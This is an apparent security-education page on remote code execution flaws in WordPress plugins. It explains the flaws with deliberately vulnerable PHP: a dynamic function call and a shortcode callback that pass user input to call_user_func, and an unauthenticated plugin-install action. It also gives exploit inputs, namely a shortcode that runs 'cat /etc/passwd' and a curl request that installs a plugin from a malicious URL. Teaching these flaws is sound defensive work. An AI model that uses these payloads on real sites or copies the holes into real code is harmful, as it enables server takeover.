Skip to content

Remote Code Execution (RCE)

Introduction

This article covers cases of possible direct RCE on WordPress. This includes improper usage of functions inside the plugin/theme, which can be used to directly execute code or a command on the server.

Useful Functions

Several functions could be useful to identify a possible RCE vulnerability:

Dynamic Function Call

PHP also supports a dynamic function call where we can execute a function from a string or variable. For example:

$action_type = $_GET["action"];
$input = $_GET["input"];
echo $action_type($input);

We can supply the action parameter with an arbitrary function, such as system, and put our shell command on the input parameter.

Example Cases

Below is an example of vulnerable code:

function image_render_callback($atts) {
$atts = shortcode_atts( array(
'sanitize' => 'esc_attr',
'src'=>'',
'text'=>''
), $atts);
$chosen_callback = "esc_attr";
$sanitize_callback = array("trim", "esc_attr", "esc_html", "sanitize_text_field");
if(!in_array($atts["sanitize"], $sanitize_callback)){
$chosen_callback = $atts["sanitize"];
}
if ( ! empty( $chosen_callback ) && is_callable( $chosen_callback ) ) {
$text = call_user_func( $chosen_callback, $atts["text"] );
}
return sprintf("<img src='%s'>%s</img>", esc_attr($atts["src"]), esc_html($text));
}
add_shortcode("imagerender", "image_render_callback");

To exploit this, the Contributor+ role user needs to create a drafted post with the below content to trigger RCE via the call_user_func function:

[imagerender src="https://patchstack.com" sanitize="system" text="cat /etc/passwd"]

Arbitrary Plugin Installation

If there is no proper permission check while installing the plugins, it can lead to Remote Code Execution. An attacker can create a malicious ZIP and provide it as the source to install the webshell in the WordPress site.

add_action('wp_ajax_nopriv_install_remote_plugin', function() {
if (isset($_GET['install_plugin_url'])) {
$plugin_url = esc_url_raw($_GET['install_plugin_url']);
include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
include_once ABSPATH . 'wp-admin/includes/file.php';
include_once ABSPATH . 'wp-admin/includes/misc.php';
$upgrader = new Plugin_Upgrader();
$upgrader->install($plugin_url);
}
});

To exploit this, any unauthenticated user needs to perform a GET request to the /wp-admin/admin-ajax.php endpoint specifying the remote URL of the malicious plugin.

Terminal window
curl <WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=install_remote_plugin&install_plugin_url=http://<malicious-url>

Below are some of the findings related to RCE:

Contributors

rafiemdhakalananda